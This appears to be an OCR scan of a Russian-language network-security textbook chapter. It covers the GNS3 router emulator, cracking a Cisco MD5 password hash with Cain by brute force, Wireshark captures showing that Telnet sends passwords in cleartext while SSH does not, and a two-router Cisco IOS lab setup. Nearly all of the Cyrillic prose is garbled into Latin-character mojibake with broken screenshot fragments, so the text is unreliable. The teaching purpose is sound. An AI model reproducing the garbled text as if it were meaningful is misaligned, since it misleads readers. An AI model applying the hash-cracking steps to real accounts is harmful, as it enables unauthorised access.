MapwpyTHsaTop c269f ..
MapwpyTtHsatop 3600
M, Top ¢370i

ceTeBoH 3kpaH-PIX
8 ASA firewall
Juniper router-
&&F Ethernet koMmyTaTOp
288F ATM Moct

ATM KomMMyTaTOp

Frame Relay Kumny'rérop
3 EtheFS{Nitch router ’
= 1IDS

Puc. 2.1

MapwpyTtHhsaTop c1700
MapwpyTHhzaTop c2600
MapuwpyTrsaTop c2691
MapwpyTusaTop c3600
MapwpyTtnsatop c3700

ceTesor 3kpaH PIX
ASA firewall
B8 Juniper router
#@0® Ethernet komMyTaTOp
ATM MocT

fe8 ATM komMyTaTOp

Frame Relay kommyTaTc

EtherSwitch router
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naea 2

iguration. ..

Puc. 2.3

Jlist B37IOMa NapoJIsl IPUMEHHM YoKe M3BECTHYIO HaM TporpamMMmy Cain, MCTIONb3ysl METON
Brute-Force Attack, T. e. mepeGopom (puc. 2.4).

R LM &NTLM Hashes (0)
-4R NTLMY2 Hashes:(0)
-HR M5-Cache Hashes (0)
,&% PWL ﬁles (0)

C|sco PIX MDS Hashes (0)
-€B APOP-MDS Hashes (0)
CRAM-MDS Hashes (0)
-4}» OSPF-MDS Hashes (0)
P RIPv2-MDS Hashes (0)
P YRRP-HMAC Hashes (0)
YNC-3DES (0)

md MD2 Hashes (0)

sod MPd Hachac £0)

buctlonéry Attack
Bruke-Force Altad

Select All
Note

Test password

Add to list Insert
Remove Delete
Remove All

Puc. 2.4

CrycTts Kakoe-To BpeMs nonyqﬁM-peaynsTaT (puc. 2.5).

O6paTHTe BHAMAaHHEC, YTO UKL YCKOpeHI/ISI MBI HE UCHOJIb30BAJIA CIICLICUMBOJIBI B Ha60pe

NPUMCHACMBIX 3HAKOB.

Koneuno xe, meron Brute-Ferce Attack — OIWH M3 CaMBIX JONTHX MeTonoB. IlosTomy
noA6op 6-CHMBOJIBHOTO NMapoJis B HALlIeM CiTydae 3aHsUl IPUMEPHO 4 Hs C OCTAHOBKAMH.
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5/ Banom

- HR LM&NTLM xaum (0)
-HR NTLMv2 Xsum - (0)
R Ms-Cache Xsum (u)

P APOP-VDS Xoum (0)

€ CRAM-MDS Xaum (0) abedefghikimnopgrstuvwiyz01 23456763

» OSPF-MDS Xawn (0)

& RIPv2-MD5 Xaum (0)
YRRP-HMAC Xaum (0
VYNC-3DES (0)

md MD2 Xaum (D)

md MD4 Xaum (0)

md MDS Xawn (0)

SHR SHA-1 Xaum (0)

KA SHA-2 Xaum (0)

R, RIPEMD-160 Xsum (O
KerbS PreAuth Xawm
Radius Shared-Key X3 Plaintext of $1$VRud4$/Nw/GRY9WrNOfF40JbthAl is abcl23

69 IKE-PSK Xaum (0) Attack stopped!
MSSQL Xowm (0)° | 1 of 1 hashes cracked
MySQL Xsum (0}
Oracle Hashe's (0)
Oracle TNS Xsum (0)
o SIP X3um (0)

‘8" 3axsar 802.11 (0)

8> WPA-PSK Xawn (0)

‘8’ WPA-PSK Auth (0)

< CHAP Xaum (0)

Puc. 2.5
Cxopee Bcero, xakep OyZeT JJoMaTh apoiib, UCTIONB3YS CIIOBapd. A MOXeT ObITb, B 60-
Jee coBepmeHHbIH criocob. Cka3aTs mo cexpery — (paKkTHUecKd 3TOM INIaBO#, Ha IMpo-
CTOM Marepuajie, Mbl U HaYMHAEM NOTUXOHBKY F'OTOBHMTH BAaC K INOHATHAM, HCIOJIb3Ye-
MBIM HECKOJBKO MO3XKE, MPH PACCMOTPEHHH METOIOB BOCCTAHOBJICHHS mapoieii ¢ no-
MOIIBIO PaIy>KHBIX TaOJIHIL

Ho Bepuemcs k mporpamme Cain. V Hee Takke eCTh ()YHKIHS. B3JIOMa IO CJIOBAapIo:
Dictionary Attack! ITprdem ¢ GONBIIMM KOJIMIECTBOM BO3MOXKHOCTE#H: HaboOp mapoiis 3a-
JoM Hamepen (peBepc), ABOHHON Mapoib (MCIOb3yeTcs MOBTOP CJIOBA JBAXIBI), JBOM-
HO#1 ITapoJib ¢ MPUMEHEHUEM CJIOBA B Pa3HBIX PETHCTPax M T. .

KpoMe Toro, B 3Ty TIpOrpaMMy BCTPOEHO HEMAJIO TOJIe3HBIX MHCTpyMeHTOB. Hanprmep,
peammsoBans! gemmdparopsr naponeit: Cisco Type-7, Cisco VPN Client, VNC, ynaien-
Horo pa6odero crona, [ocTymna k 6azaM naHHBIX, Syskey. IMeloTcs: X3mI-KalIbKyJIsATOD,
xanbkyssarop RCA SecurID Token, kanskynsrop VPA PSK.
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CymectByer B TiporpamMe Cain Takke BO3MOXKHOCTh PaCKOAWPOBaHHS aJTOpHTMA

Base64, KOTophIii He sABIIseTCA MHQpPOBAHNEM; HO MPHMEHSETCA NPH Nepefade JaHHBIX

TI0 CeTH TaK, 9TO0BI BCe CHMBOJIBI CTapineif MoJIoBUHBI Tabmwisl cuMBoioB ASCII G

3aMeHeHbl CHMBOJIaMM MJIaJiliel MOJOBHMHEL MHOrNa X3muM maposieil MM JAaxe Haposd

OTKPBITHIM TEKCTOM ObiBatoT 06paGoTanst Base64.

HeMHOro OTBIIEKIIMCE, HO BO3BpAmMaisCh K OCHOBHOH TEME, HENb3s HE CKa3aTh eIle mapy
cioB o nporpamme GNS3. Jleno B ToM, YTO AJI11 MPOBEIEHHs Halllero SKCIIEpUMEHTa, BO-
BCe He 00a3arenbHO GBUTO ee Henons3oBath! I'opasno mpome 6suto GBI Halita B UHTEp-
HeTe KaKylo-HHOYb yTHIATY, BKIIOYAIOMYIO B ce0s X3II-KaIbKyJISTOPEl HA BCE CIly4an
JKU3HH, WIH HCTIONB30BATh Y)Ke YIOMSHYTRIHA kalbKystop B nporpamme Cain. ITpasna,
B TaKOM CJTy4ae BBl HE IO3HAKOMIIMCH OBl CO CTONb 3aMeYaTebHON IPOrpaMMOM, KaK '
GNS3 (nmpugeM, GecriaTHO#), 0 CyIeCTBOBAHMH KOTOPOH 3a49acTylo OYEMY-TO HE 3Ha-
0T Jaxe MpOJABHHYTHIE CHEHACTH IO TeIeKOMMyHHMKaimsaM. IIpumenss 3Ty mpo-
rpaMMy M He MMesl JOPOTOCTOALIEro 000pyAOBaHMs, MOXKHO IPOBOAUTH "Ha JOMY" IpaK-
THYECKH JOOBIEe SKCIIEPHMEHTH, B TOM 4HClle CBsA3aHHBIe ¢ obecrieueHueM Oe3omac-
HOCTH, MMHUTHpYs aKTuBHble yctpoiictBa ¢upmbi Cisco. Bmecto cammux ycrpoicT
ucnons3ytotes o6passt I0S (Internetwork Operating System — dakTHYECKH 3TO omnepa-
LMOHHAs CHCTeMa aKTUBHOrO ycrpoiicta pupmel Cisco). Ilonkmodenue o6pa3oB mpous-
BoouTcsA Ha BKIaake PemaktmpoBarh, nanee — OO6passl IOS H rumepsBH3OpbI, a
3ateM — OOpa3bl 10S. O0pa3pl B KOMIUIEKT HNPOrpaMMBI, K COXKAJICHHIO, HE BXOIAT.
Xakepsl TOOBIBAIOT UX B Heipax MHTepHeTa (Ha TeX jKe TOPPEeHTax), a aAIMHUHUCTPaTOPHI
‘6epyT Ha pabGore. [Tpu uHcTaUAEK GNS3 ycTaHaBIMBaeT TakKe BHEIIHUE IIPOrPaMMBI,
BXOIUINHE B KOMILTEKT: crmq)q)ep Wireshark u e MeHee 3amMeqaTeNbHYIO TEPMUHATBHYIO
nporpammy PuTTY.

TIporpamma Wireshark — 310 3aMeqaTenbHbIii GeciutaTHbIi cHUGdEp, MMeromuii 6016~
oe KOJIMYeCTBO QYHKIMI M MIMAPOKO MCTIONB3yeMBbIii Xakepamu (puc. 2.6, http://www.
wireshark.org).

192.168.43.255 NBNS

76

3 b5 cC a8 2b-
e6 86 d2 6¢ 01
4e 45 42 45 4a
41 53 41 43 41

Puc. 2.6
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TporpamMma ymeeT HACHTHGHIMPOBATH PAKTHYECKA BCE MOMyJISPHBIE CETEBbIE HPOTO-
KOITBI, MMEET THOKYIO CHCTEMY HACTPOMKH (HIBTPOB JUTA 3aXBaTa MakeToB (YTOOHI He
3aXBATHIBATH HEHYXHOE), CYIIECTBYIOT PeATU3aIHN VTl PA3IHYHBIX OTEPAIMOHHEIX CHC-
TeM, B ToM uncite g UNIX-cHcTeM, ee HCXOMHBIN KO HAXOIUTCS B OTKPHITOM JIOCTYTIE.
IIpo Bce BOBMOXKHOCTH 3TOTO CETEBOrO aHANTM3ATOpa MPOTOKOJIA MOXKHO HAIMHCATh OT-
HenbHyro KHHry. KoHKpeTHbiit TpEMep MCTIONB30BAHUA 3TOH IPOrpaMMBI MBI TIPUBENEM
HEMHOTO TIO3/THE®. '

TepmunanbHas nporpamma PuTTY Taroke Gecruiatsa (puc. 2. 7)

- Keyboard
- Bell
- Features
- Window
- Appearance
-- Behaviour
- Translation
- Selection
- Colours Default Settings
- Connection ,
-~ Data
- Proxy
- Telnet
- Rlogin
H- SSH -
- Serial

Puc. 2.7

PuTTY B paspese Bonpocos obecreuerns HHYOPMAIHOHHON Ge30I1acHOCTH 3aMedaTelh-
Ha ellle M TeM, YTO y Hee eCTh BO3MOXKHOCTE paGoTats ¢ mpotokosnioM SSH. MiMeHHO fio-
3TOMY HPOrPaMMy TaK JIOGST CHEUANMCTE], 3aHUMAIOIINECS aTMAHHCTPAPOBAHHEM aK-
THBHBIX CETEBBIX YCTPOHCTB, Harlpumep ¢upmsl Cisco.

Hemno & Tom, uro SSH (Secure Shell) — cereBoit mpoToko, noamepuBaromuii mudpo-
BaHUe. YNaJICHHOE aJIMMHHCTPHPOBAHHUE MapIIPYTH3aTOPOB, KOMMYTATOPOB C MPHMEHE-
HHeM npotokona Telnet (yCTapeBmerq B OTHOIIEHHH TpeOOBaHMii MO 3amuTe HHPOopMa-
‘M) CIIMINKOM onacHo. 11 koMy, Kak He afIMHHUCTPATOpaM, 3TO XOpOMIO M3BeCTHO. IIpu-
MeHeHve SSH He MO3BONHMT 370YMBIILTICHHUKAM YHUTATh MAPOJIH JOCTYIA ¢ ITOMOIIBIO
cHu(depoB..
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ITporokon SSH umeercs 8. AByx peammanuax — SSH-1 u SSH-2. Ilepsas Bepéna SSH-1
TIOCJIe HAXOXKEHH COOTBETCTBYIOIHUX YA3BUMOCTEH IIOCTENEHHO CTalla BHITECHATBCS M3
npumenenns. PUTTY nomuep:kuBaeT 06a BapuaHTa MPOTOKOJIA SSH (pwuc. 2.8).

Hacrpovky PuTTY

. &2 TepmuHan

‘... DcoBenHocTI
2 Okro
i BHEIWHMi1 Brg,

i POR

- [NoseaeHue

- Kogupoeka

-- Bolaenexue

.- LiBeToBas cxema
. - TUNepCCLIAKU
-/ . = CoeuHenme

: - JlaHHble

- Mpoken NPeaynpexaaTb o cAatom Wwuepe -
- Telnet rcfour (ronbko SSH-2)

Puc. 2.8

SSH-TyHHEJIMHT JIE&XUT U B OCHOBe ceTeil Tor, 0 KOTOPhIX MBI Taloke eme OyIeM roBo-
PHTEH HECKOJIBKO MO3XKE.

Jbts Toro 9roOBl HarHO yoenuThes, yro ¢ npumeHeHueM SSH Tpaduk cetu mmdpyer-
csl, MOXKHO B KadecTBe JabopaTOpHOro mpakTHKyma cobpate ciemyrommii ctena. Ha
OIHOM U3 KomimbioTepoB ¢ Windows, BhICTymaroimeM B KadecTBe CepBepa, YCTaHOBHUM
6ecratHyro nporpammy freeSSHd (http://www.freesshd.com) u HacTponM ee Tak, yTo-
661 66T paspemieH JocTyn 1o mpotokoiny Telnet (puc. 2.9).

B mporpaMMe onpeaeuM Mob30BaTeNs ¢ IMEHEM T00t, a €r0 IapaMeTPh BEICTABAM Tak,
YT00bI HCIOMB30BAJIaCh ayTeHTH(HKAIHS C MPUMEeHeHHeM naposis (puc. 2.10).

C npyroro kommsotepa-kauenTa (192.168.0.171) mo nporokony Telnet ¢ ucroms30Ba-
HueM nporpammsi PuTTY ocyinecTsuM coeuHeHue ¢ cepeepoM (puc. 2.11).

Cepaep IIPOH3BOJHT TIPOLIEAYPY ayrenTuduKammu (puc. 2.12).
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s freess5Hd

fess: ) 0.0.0.0 (Allinterfaces)
423

Puc. 2.9

Laogin: {root

1
}.
- Authorization: %P_asswmd stored as SHA1 hash %

Password: l Start typing hete to change passwaid

b
o

' Puc. 2.10
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i - QCOGEHHOCTH
| 2 OxHo

‘ . BHewHW But
. POH

.- Flopenenwe
- Kopuposka
- Boipenenne

- LipeToBER CXEeMa
- FurepecomKe
2- Coenprenne

- laHHbe

- Flpokewn

- Telnet

.- Rlogin

1 SSH

- Serial

- Cygiem

i
| |
:
§
%
-
.

Puc. 212

B nactpoiikax cuaddepa Wireshark Ha cepsepe (192.168.0.100) ycraHOBEM GMIBTD:
"3aXBaTHIBATE" TONBKO IAKETHL MEXIAY CEPBEPOM H  KOMIBLIOTEPOM-KIHMEHTOM
(192.168.0.171), B, ucnions3ys B Merro Edit komaHzy Find Packet, ocymecmnM MOHCK
makeTa co ciioBoM password (puc. 2.13 u 2.14).

Haxomures makeT ¢ yKasaHHBIM CJIOBOM, IOATBEpKIarommuii, yro Telnet aeficTBHTENHEHO
MepeiacT JaHHbIe 110 CETH B OTKPHITOM Bufe (puc. 2.15).

Jlajiee MOBTOPHM BCIO MPOLIEAYPY COSAUHEHHs C CEpBEPOM, HO Yxke s mporokoiia SSH
(puc. 2.16).

U BHOBB 3anpamuBaeTcs ayreHTUHKamms (puc. 2.17).

Ho cefiuac makeT co cinoBoM password yxke He 0OHapy>KHBaeTCs 110 TOM MPOCTOM IMpUYH-
He, 4TO Bech Tpaduk B cetr no nporokoiry SSH mudpyercs (puc. 2.18).
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Ethernet address.00:08:15:00:08:15 ' -
Ethernet type 0x0806 (ARP)
Ethernet broadcast

o address isn't 192, 168 0.1, don't use |= for this!
= IPX only

Puc. 213

Wireshark: Find Packet

Q0c 60 76 69 2c 56 90 2b 34 1d
00 32 70 3b 40 00 80 06 08 Zh
00 ab 00 17 c0 64 ab 15 f3 .
ff d3 75 58 00 00 70 61 73

33 62 21 50 18
& 72 64 3a 20

Puc 215
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- Knasuarypa
- YBEOoMNeHNR
- (CDBeHHDCTI
2 Okuo

i i Brewrwi Bun
.. Pan
nogeneme

- Koawposka

- Boimenenvie
.- liBeTosan cxema
- [ MnepeebiiKig
B- Coenmenme

- [aHHbe

- Fipoxew

- Telnet

. Rlogin

& SSH

- Serial

.. Cygterm

Puc. 2.16 :

Puc. 217

HWe No NoKanbHou cety [Wireshark |

: : e b

90 2b 34 1d c8 c9 Oc 60 76 60 2c 56 08 00 45 00

00 28 41 42 40 00 B0 06 37 2e c0 a8 00 ab c0 a8 . (AB@. ..

00 64 cO 20 00 16 dO 5 c¢c 17 99 4e d0 e0 50 10 .d......
0030 oOf e8 55 69 00 00 00 QO 00 00 00 00 B 1

Puc. 2.18

IIpousBeneHHble ASHCTBHS HAIIAAHO JEMOHCTPHPYIOT, oueMy aqMuHucTpaTopbl UNIX-
CHCTEM Il yAAJIEHHOTO aJMUHMCTPUPOBAHHS HCIOJB3YIOT IpoTokon SSH, mpumenss
B KayecTBe KIMEHTCKOro mporpamMMHoro obecneuenus mporpammy PuTTY. C Kpmrro-
rpadueii TpyJHO COCTA3ATHCA.
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2.2. MpakTuKyMm no opraAnsauum

AOMaLLIHero cteHpa AnAa. n3yvyeHus

wurucdpoBaHHOro ceTeBoOro KaHana

MBI He ciTy4aiiHo, Ha4as ¢ IPOCTOrO, MOZIBENIHM Bac K OoJiee CI0XKHOMY, IPAKTHIECKH YIiKe
pOodeCCHOHATIFHOMY CIIOCO0y OpraHu3ali mMgpoBaHHOro ceTeBoro kaHana. Ceifdac,

YK€ HEMHOI'O IIOATOTOBHUBINHCH, BBl HABCPHsJIKA CMOXKETE CaMOCTOATEIIbHO OPraHnu3oBaTh
CTCHJ, OIIMCaHUE KOTOPOro IIPUBEACHO B 3STOM pa3feciic.

Hrax, x gemy.

1.

4,

Tlepeiinure Ha cepBep paspaborumka nporpammel GNS3 mo ampecy http://www.
gns3.net/.

U3 pasaena Download ckauaiite mporpammy GNS3 mis Windows. Jlygine Bcero Bep-
cmo all-in-one (Bce B 0HOM), YTOOBI BBl C OIMHAKOBBIM YCIIEXOM MOIJIM €€ YCTaHaB-
JIMBATh Kak Ha 32-, Tak ¥ Ha 64-pa3ps/IHEIX CHCTEMAaX.

IIpomsBenure uHCTALALMIO. COrJIacCHTECh YCTAHOBUTh BCE KOMIIOHEHTHI (B TOM YHC-
ne SuperPutty), puc. 2.19. Ecii Bo BpeMs yCTaHOBKH IIporpamMMma COOOINMT, YTO Ka-
KOM-JTHOO M3 KOMIIOHEHTOB YK€ MMeeTCs Ha BallleM KOMITBIOTEepE, TO HMYEro CTpall-
HOT'0 — MOTOM OTKaXETECh OT IIOBTOPHOM yCTaHOBKH.

Choose Components
Choose which features of GNS3 0.8.7 you want to install,

Bl winPCAP 4.1.3
Wireshark 1.10.8

Solarwinds Response |
Dynamips 0.2.12

Puc. 2.19

IToce Toro kak Bac IOMIPOCAT BBECTH CBOM e-mail W mobGnaromapsar 3a yCTaHOBKY,
IIporpaMma, HakoHell, 3aIycTHTCs. MoxeTe 3aKkpbITh mpemiaraeMsrii Setup Wizard —
HACTPOMM BCE€ CaMOCTOSTEIIBHO.

Vcranosure pycckuii s3pik: Edit | Preference| General| General Setﬁhgsl
Language | Pycckmii (ru). Yro6s1 H3MEHEHHS BETYTIWIM B CHITY, Tlepe3aIyCTUTe Ipo-
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rpammy. Bam GyeT npezuioxeHo BBECTH MM TPOEK-
Ta—. Hasonme ero 1 u cormacurech ¢ mpen-
naraeMbIM "o yMordaHmio" BEIOOpPOM IyTH JjIs CO-
XpaHEeHHUs MPOEKTa.

HonpoGy#ite /id Havana MENKHYTH MO 3Haq1<y Map-
HMIpYTU3aTOpa, B pe3yibTaTe HOSMBHTCA HeOONBINOi
crucok MapmpytHzaropos. Ho B cBi3u ¢ TeM, 4To B
JaHHBIA MOMEHT He IOIKIIOYEeH HY OIMH U3 00pa3oB
OnepalMoOHHBIX cucteM (i0s), Bce Moaenu OymyT
nozicBeveHs! 6ienHo (puc. 2.20).

Bama 3amaya — Haiitu B HHTepHerte ¢aiin obGpasa
OIEPALIOHHON CHCTEMBI MapIIpyTHU3aTopa KakKoi-
mub0 MonemM U IPOM3BECTH €ro MOAKIIOYECHHE.
HyxHele Ham ¢aitnbl (MMeroT pacmmpeHue bin wim

image) noakmodaloTcs B MeHIO PemakTmpoBars |

Router 1700
Router c2600
Router c2691
Router £3600
Router £3700
Reutar £7200
= AW router

Juniper router

Puc. 2.20

OG6passt I0S u runepsmrsopsi | @aiia o6pa3a. B paccMaTpuBaeMoM mpuMepe MBI
TIOJIOXKIITH HECKOJIbKO 06pa3os B manky: c:\Documents and Settings\ums nonvsoeame-

a2\GNS3\Images (puc. 2.21).

% GNSB Prn)ect - Tesk

Mapwipy Ty
MapwipyTrss

28
i

.

Settings\1{GNS3\Images'basecorfig.txt |

€7200-advsecurityk9-mz.124-15.77.image

Puc. 2.21
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Hocre momimodeHns BHIGPaHHOTO 00pasa BEI MMeeTe BO3MOXKHOCTB TYT e IpoTec-
THpOBaTh €ro paboTococo6HOCTE: NpH HaxkaTuk kHomku Test Settings 1owkHO O-
SIBUTBCA OTHENBHOE OKHO, B KOTOpOM OyHeT MpOHM3BENEH 3allyCK OIEpaIrMOHHOM
CHCTEMBI. JTO OKHO O0A3aTeNIbHO ClENyeT 3aKphITh ¥ COXpaHWTh KOH(QHUTYpalHio
¢ BeIOpaHHBIM (aitioM o6pa3sa (kHonka CoxpanaTs), puc. 2.22.

¥:7200—advsecurltyk9-mz 124 15 T? image

f _' anm, i:lSettvngs\l';GNSS\Images\baseconﬂg kxt

poBepsTe
paborTocnocoGHOCTL
pGpaza

Puc. 2.22

5. IlpoBepuM, YTO MapIIpyTH3aTOP C TOJIBKO YTO TIOMKITIOYEHHBIM 00pa3oM NOABWICS
B o0mmeM crmcke poyTepoB (M300paxkeHHe YCTAHOBIEHHQA MOZesH OYAeT yke SpKUM).
INepetamum 3Ha40K paboTOCHOCOOHOrO MapmpyTH3aTopa B pabouee mose Imporpam-

Mel. CzenaeM 3TO [BaXIbl, T. K. HAM i SKCIIEPHMEHTAa HYXHBI 1Ba yCTpOMCTBa
(puc.2.23).

MapwpyTrsatap €170
§ MapwpyThzatop 2600
MapwipyTrsaTop c2691
MapwpytrssTop ¢3600

i

AW router
MapuipyTrsaTop OHMNER

Puc. 2.23
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6. Brmounm poy’repm KHOTKOH GGTBIIOro TpeyromsHuka. M nanee 3aIyCTHM TepMH-
HanbHbIe porpaMMsl (SuperPytty), kak nokasaHo Ha puc. 2.24.

7. Ecnu Bce B mopsake, MbI TOJIyHHM J(Ba TEPMUHAIBHEIX OKHA, HEOOXOMUMBIE HAM ISt
KOH(UTYpHpOBaHUS Ka)KIlOFO u3 poytepos (R1 u R2), puc. 2.25.

Ecnu poyrepsl HOpMaJIbHO 3arpy3;n‘cx, TO COOTBETCTBEHHO KKMBIA U3 HUX B CBOEM
TePMHUHAIBHOM OKHe "BBIH/IET" Ha MpHTJIALICHUE: R1# U R24#.

Puc. 2.24 Puc. 2.25

8. s HAaCTPOMKH COEAMHEHHS JBYX pOYTEpOB, K&KAOro Mo o4yepenu (OmumeM AeHcT-
BHS TOJIBKO JUIA NIEPBOT0), B OTBET Ha MpPHUITIAlIEHHE BBEAEM KOMAHAY conf H HAKMEM
kiasuimy <Enter>. Ilpuriamenuie CMEHHWTCS € R1# Ha R1 (config) #. 3TO 3HAYHT, MBI
BOLIIM B KOH(GHUIypanroHHOe MeHIo. O6paTiTe BHUMaHHUE:

® poyTrep IIOHMMAET HENOMMCAaHHbIE KOMaH/BI, IIO3TOMY IOCJI€ MEPBBIX HECKOIBKHUX
CHMBOJIOB NpH HaKaTHH KJiaBumy <Enter> oH JOMOHAET UX CaM;

® eClu CJIOBO B KOMaHJIe He KOHEYHOE, M Bbl BMECTO TPOJIOJDKEHHUs BBEAETE BOMPOC
(ue 3abpiBaecM HaxaTh KiaBuinmy <Enter>), To B KauecTBe MOACKa3kH OyIoyT Tipea-
JIOJKEHBI BAPHAHTHI IPOINOIDKEHHS.

IIpoomkuM HacTpawBaTh HHTepdeic, IS 4Yero BBeAeM KOMAHAY interface
fastEthernet 1/0. BMecTo faétEthernet, €CJIM Bala MOI[eJIB MOAACPKUBACT, MOXKET
ObITh, HAIIpUMeEp, IPOCTO Ethernet. UTOGHI MOHATH /THIIBI TOJIEP)KHBACMBIX HHTEp-
deiicoB, MOXHO HaTh HE3aBEPILICHHYIO KOMaHAY: interface, TOTAA IOCIE HAXKATHS
kiaBumy <Enter> Gyner BeiBeieH uX crmcok. [TopropuM: B HameM cilydae MbI BBEIIH
KOMaHJy interface fastEthernet. 0/0. [IpUriaineHue CMEHIWIOCH Ha R1 (config-if) #.
To ectb, ceifuac MBI HaxoAUMCS Y>ke B MEHIO KOoH(urypupoBaHus uHTepdetica. Bpe-
JleM KOMaHAy ip address 10.0.0.1 255.255.255.0. BBeeM KOMaHIpI speed 10 M no
shutdown. Jlanee, 4ToOBl BEpHYTHCS Ha YpPOBEHE HWbKE (M3 MEHIO KOH(pHIypamwy WH-
Tepdeiica B oOee KOHQUTYpaIHOHHOE MEHIO), AauM KoMaHAy exit (<Enter>), mpu-
IJIallleHHe BHOBb CMEHHTCA Ha R1 (config)#. Y elme pa3 BHINIONHUM exft, MIOCIE Y€ro
IIPOU30#eT BHIXOM M3 00IIEro KOHPUTYpaIlMOHHOTO MEHIO: MIPUTJIAINCHHE CMEHUTCS
Ha R1#. ’

MosxHO TpOBEPUTE AEHCTBYIOINYIO B NaMATH KOH(MIYPAIAIO, BHIIOTHHE KOMAHIY
show running-config. B pe3yisTatre BEI yBHIOUTE MEHCTBYIOINYIO, HO eIlle HecoxXpa-
HEHHYIO KOH(uUrypamuio poyrepa. Cpeas MHOXKECTBA CTPOK JIOJDKHBI npncyTCTBOBaTb
CIICQYIOIIUE, HY>KHBIC HaM:

interface FastEthernetl/0

ip address 10.0.0.1 255.255.255.0

duplex half
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Tlpu BBIBOZIE KOHDUTYpALMHU Ha S5KpaH oOpaTUTe BHUMaHKe Ha 3HAY€HHe line vty O 4.
Ecnu y Bac mpyroe umcio, 3anomaure ero. Ha nmepBoM poyTepe HACTPOHM BO3MOX-
HOCTB BXOJIa Ha TMHMH Vty. JUI1 3T0oro BHOBB BOHIEM B MEHIO KOH(PUTYpHPOBaHH] —
cont. JlaJiee BBHIIONHMM line vty O 4 (BMeCTO IdpHI 4 MOKET GHITh Balle 3HAYCHHE,
HO B NPUHLIUTIE HAM M 3TOTO KOJIMYECTBA IMHUM XBAaTHT, JJaXKe €CIIM y Bac U eCTh BO3-
MOXXHOCTh YCTaHOBHUTH Goibile). JIo/KHO MOABHTHCA NpPUITIalIeHHe B MEHIO KOHQU-
rypalyy JIMHMH: R1(config-line)#. BBHINOJHHAM KOMaHAY password cisco (CIIOBO
CiSCO — 3TO MmapoJib, MOXKETE YCTAHOBHTH JTI00O# Apyroii, Ho He 3abbIBaiiTe ero). Ha
BCAKMIA CTydaii BBITIONHHUTE €1 KOMaH/Y login H Jajiee ABOKMABI exit.

YroOk1 Kom’pm‘ypauux 3alIOMHWIACh, BBIIIOJTHHM KOMAaHIY copy running-config
startup-config H ABOXKOH HaxmeMm kinasumry <Enter>. Ilomydum coobmeHnue:
Building configuration... [OK]. Celiuac koH(}purypammsa 6ymer COXpaHAThCs, Jaxke
€CJIM YCTPOMCTBO Iepe3arpy3UTh WIH BHIKIIOYHTE.

Touno Tak >ke HACTPOMM M BTOPOE YCTPOHCTBO, TOJIBKO a[ipeC yCTAHOBUM APYIoH: ip
address 10.0.0.2 255.255.255.0. 3alIOMHMM H NIPOBEPHM KOH(HTYpalHIO ¥ Ha BTO-
POM YCTPOWCTBE.

TMomeenem wror noarorosku creHna. Ha poyrepe R1 Obutk mponenans cienyromue
KOMaHJBIL: ‘

Rl#conf

Rl (config)# interface FastEthernetl/0
Rl (config-if)# ip address 10.0.0.1 255.255.255.0
Rl (config-if)# no shutdown

Rl (config-if) # exit

Rl (config)# exit

Rl#conf

Rl (config)# line vty O 4
R1(config-line)# password cisco

Rl (config-line) #login
Rl(éonfig—line)#eiit

Rl (config)# exit

Rl# copy running-config startup-config
Destination filename [startup-config]?
Building configuration...

[CK]

Ha poyrepe R2 crnemyromue:

R2#conf

R2 (config) # interface FastEthernetl/0
R2 (config-if)# ip address 10.0.0.2 255.255.255.0
R2 (config-if)# no shutdown

R2 (config-if)# exit

R2 (config) # exit

R2# copy running-config startup-config
Destination filename [startup-config]?
Building configuration:.. '

[OK]
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'Vcranosam coenunenue (link) Mex Ty HaCTpOSHHEIME untepdeiicamu £1/0 (puc. 2.26).
YroOBl YCTaHOBUTH COEAWHEHHE, -HEOOXONMMO, HaXXaB M yAep)KUBas KIIABHIITY
<Shift>, npoTaHyTH ero (coexuHeHKe) ¢ MOMOMIBIO MEIIIH OT OJHOTO poyTepa K ApY-
roMy. Ilpy memdke mpaBoii KHONKOW MBIINK Ha n306pa>1(e1mn poyTepa ecTh BO3MOX-
HOCTB BBIOOpa TpeOyeMBIX HaM MapameTpoB. BaM Gyner mpeioxkeHo (B TOM, YHCIIE)
Bbl6paT5 uHTepdelic (He 3amyTalTeCh — MBI ClEIUATBHO BRIOpay /i 060KX poyTe-
poB unTepdetice £1/0, a He £0/0).

_i <LNyCcTo>
| Honaﬂ KOHHMrypaums npuMeHeHa Ha R1

Puc. 2.26

O6paTiM BHMMaHHe, 9T0 B 00jacTd TOMOIOrHsl TIOKa3aHO COENMHEHHE MMEHHO
MeX Iy HaCTPOeHHBIMH Hamu uHTep(eiicamu £1/0.

JInis poBepKH COETMHEHMs B JIOOOM M3 POYTEpOB BBIIOJHMM KOMAaH/Y ping Ha ceTe-
BOil HHTepdeiic IPOTHBOMONIOXKHOrO poyrepa. Hampumep, Ha TIepBOM  pOyTepe
KOMaH/ia OyIeT BHINIAETE TakK:

R1# ping 10.0.0.2

TlomywsM pe3ysbTart:

Rl#ping 10.0.0.2
Type escape sequence. to abort.
Sending 5, 100-byte.ICMP Echos to 10.0.0.2, timeout is 2 seconds:

Success rate is 100 percent (5/5), round-trip min/avg/max = 24/34/56 ms
R1#

IIpoBepuM coearHEHHE B IPYTYIO CTOPOHY, T. €. CO BTOPOI'O poyTepa:

R2# ping 10.0.0.1
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IMockoneKy coeMHEeHIe HOPMATBEHO paboTaeT, MBI MOXKEM IONPO0OBaTh CleAyrowee:
¢ poyrepa R2 coeaqunmMcs ¢ iepBbpIM poyTepoM 1o niporokosy Telnet:

R2# telnet 10.0.0.1

Iocnenyer 3ampoc napos:

Trying 10.0.0.1 ... Open
User Access Verification
Password:

TMocnie BBOJA Maposis (CiSCO) BB OKAXKETECh HA TIEPBOM POyTEpe, 3TO BHAHO MO IPH-
rinamenuro R1.

IIpounsBenuTe BHIXOM, BHINOJIHMB KOMaHY exit!

Ha nepeom poyTepe ycTaHOBHM Ha mHTepdeiice Loopback( azrpéc 192.168.0.1 (ecte-
CTBEHHO, HAXOMACH B MEHIO KOHQUTYpal[HH 110 KOMaH/Ie conf):

interface Loopback0

ip address 192.168.0.1 255.255.255.0

.Ha Bropom poyrepe:

interface Loopback0

ip address 192.168.1.1 255.255.255.0

He 3alpiBalite 3amuchbiBaTh H3MEHEHHMsA KOHQurypaimi (copy running-config
startup-config).

Tonpo6yiite KOMaHAY ping ¢ poyrepa R2 Ha IP-anpec mmTepdeiica Loopback0 mep-
BOro poyrepa: '

ping 192.168.0.1

He nomyaunocs? IlpaBwibHo! Poyrep R2 "He 3Haer" o cymecTBOBaHHMHM CETH
192.168.0.0 (arober yOemurses, monpobyiire AaTh KOMaHAy R2# show ip config).
[osToMy OH He ToOChLman makeTsl Ha MHTepdeiic FastEthernet1/0. Hyx#o xots 651
